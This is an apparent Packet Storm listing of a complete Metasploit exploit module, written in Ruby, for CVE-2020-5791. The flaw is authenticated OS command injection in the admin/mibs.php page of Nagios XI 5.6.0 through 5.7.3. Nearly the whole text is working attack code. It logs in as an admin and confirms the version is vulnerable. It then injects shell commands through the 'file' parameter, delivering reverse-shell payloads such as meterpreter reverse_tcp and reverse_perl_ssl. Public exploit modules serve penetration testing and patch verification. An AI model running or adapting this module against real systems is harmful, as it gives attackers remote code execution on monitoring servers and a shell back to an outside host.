Nagios XI 5.7.3 Remote Code Execution

#188
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  • This Metasploit module exploits CVE-2020-5791, an OS command injection vulnerability on Nagios XI versions 5.6.0 through 5.7.3 in admin/mibs.php that enables an authenticated user with admin privileges to achieve remote code execution as either the apache user or the www-data user.
    MD5 | 639bef5044c0f11d63a9c893409809f3
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    ##  
    # This module requires Metasploit: https://metasploit.com/download  
    # Current source: https://github.com/rapid7/metasploit-framework  
    ##  
    class MetasploitModule < Msf::Exploit::Remote  
    Rank = ExcellentRanking  
    include Msf::Exploit::Remote::HttpClient  
    include Msf::Exploit::Remote::HTTP::NagiosXi  
    include Msf::Exploit::CmdStager  
    prepend Msf::Exploit::Remote::AutoCheck  
    def initialize(info = {})  
    super(  
    update_info(  
    info,  
    'Name' => 'Nagios XI 5.6.0-5.7.3 - Mibs.php Authenticated Remote Code Exection',  
    'Description' => %q{  
    This module exploits CVE-2020-5791, an OS command injection vulnerability in  
    `admin/mibs.php` that enables an authenticated user with admin privileges to achieve  
    remote code execution as either the `apache` user or the `www-data` user on NagiosXI  
    version 5.6.0 to 5.7.3 inclusive (exact user depends on the version of NagiosXI  
    installed as well as the OS its installed on).  
    Valid credentials for a Nagios XI admin user are required. This module has  
    been successfully tested against Nagios XI 5.7.3 running on CentOS 7.  
    },  
    'License' => MSF_LICENSE,  
    'Author' =>  
    [  
    'Chris Lyne', # discovery  
    'Matthew Aberegg', # PoC  
    'Erik Wynter' # @wyntererik - Metasploit  
    ],  
    'References' =>  
    [  
    ['CVE', '2020-5791'],  
    ['EDB', '48959']  
    ],  
    'Platform' => %w[linux unix],  
    'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],  
    'Targets' =>  
    [  
    [  
    'Linux (x86/x64)', {  
    'Arch' => [ ARCH_X86, ARCH_X64 ],  
    'Platform' => 'linux',  
    'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }  
    }  
    ],  
    [  
    'CMD', {  
    'Arch' => [ ARCH_CMD ],  
    'Platform' => 'unix',  
    # the only reliable payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl  
    'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl_ssl' }  
    }  
    ]  
    ],  
    'Privileged' => false,  
    'DisclosureDate' => '2020-10-20',  
    'DefaultTarget' => 0,  
    'Notes' =>  
    {  
    'Stability' => [ CRASH_SAFE ],  
    'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
    'Reliability' => [ REPEATABLE_SESSION ]  
    }  
    )  
    )  
    register_options [  
    OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),  
    OptString.new('PASSWORD', [true, 'Password to authenticate with', nil])  
    ]  
    end  
    def username  
    datastore['USERNAME']  
    end  
    def password  
    datastore['PASSWORD']  
    end  
    def finish_install  
    datastore['FINISH_INSTALL']  
    end  
    def check  
    # Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns  
    # an array containing the http response body of a get request to index.php and the session cookies  
    login_result, res_array = nagios_xi_login(username, password, finish_install)  
    case login_result  
    when 1..3 # An error occurred  
    return CheckCode::Unknown(res_array[0])  
    when 4 # Nagios XI is not fully installed  
    install_result = install_nagios_xi(password)  
    if install_result  
    return CheckCode::Unknown(install_result[1])  
    end  
    login_result, res_array = login_after_install_or_license(username, password, finish_install)  
    case login_result  
    when 1..3 # An error occurred  
    return CheckCode::Unknown(res_array[0])  
    when 4 # Nagios XI is still not fully installed  
    return CheckCode::Detected('Failed to install Nagios XI on the target.')  
    end  
    end  
    # when 5 is excluded from the case statement above to prevent having to use this code block twice.  
    # Including when 5 would require using this code block once at the end of the `when 4` code block above, and once here.  
    if login_result == 5 # the Nagios XI license agreement has not been signed  
    auth_cookies, nsp = res_array  
    sign_license_result = sign_license_agreement(auth_cookies, nsp)  
    if sign_license_result  
    return CheckCode::Unknown(sign_license_result[1])  
    end  
    login_result, res_array = login_after_install_or_license(username, password, finish_install)  
    case login_result  
    when 1..3  
    return CheckCode::Unknown(res_array[0])  
    when 5 # the Nagios XI license agreement still has not been signed  
    return CheckCode::Detected('Failed to sign the license agreement.')  
    end  
    end  
    print_good('Successfully authenticated to Nagios XI')  
    # Obtain the Nagios XI version  
    @auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already  
    nagios_version = nagios_xi_version(res_array[0])  
    if nagios_version.nil?  
    return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')  
    end  
    print_status("Target is Nagios XI with version #{nagios_version}")  
    if /^\d{4}R\d\.\d/.match(nagios_version) || /^\d{4}RC\d/.match(nagios_version) || /^\d{4}R\d.\d[A-Ha-h]/.match(nagios_version) || nagios_version == '5R1.0'  
    nagios_version = '1.0.0' # Set to really old version as a placeholder. Basically we don't want to exploit these versions.  
    end  
    # check if the target is actually vulnerable  
    version = Rex::Version.new(nagios_version)  
    if version >= Rex::Version.new('5.6.0') && version <= Rex::Version.new('5.7.3')  
    return CheckCode::Appears  
    end  
    return CheckCode::Safe  
    end  
    def execute_command(cmd, _opts = {})  
    # execute payload  
    send_request_cgi({  
    'method' => 'GET',  
    'uri' => normalize_uri(target_uri.path, 'admin', 'mibs.php'),  
    'cookie' => @auth_cookies,  
    'vars_get' =>  
    {  
    'mode' => 'undo-processing',  
    'type' => '2',  
    'file' => ";#{cmd};"  
    }  
    }, 0) # don't wait for a response from the target, otherwise the module will in most cases hang for a few seconds after executing the payload  
    end  
    def exploit  
    if target.arch.first == ARCH_CMD  
    print_status('Executing the payload')  
    execute_command(payload.encoded)  
    else  
    execute_cmdstager(background: true)  
    end  
    end  
    end  
    

    Source: packetstormsecurity.com

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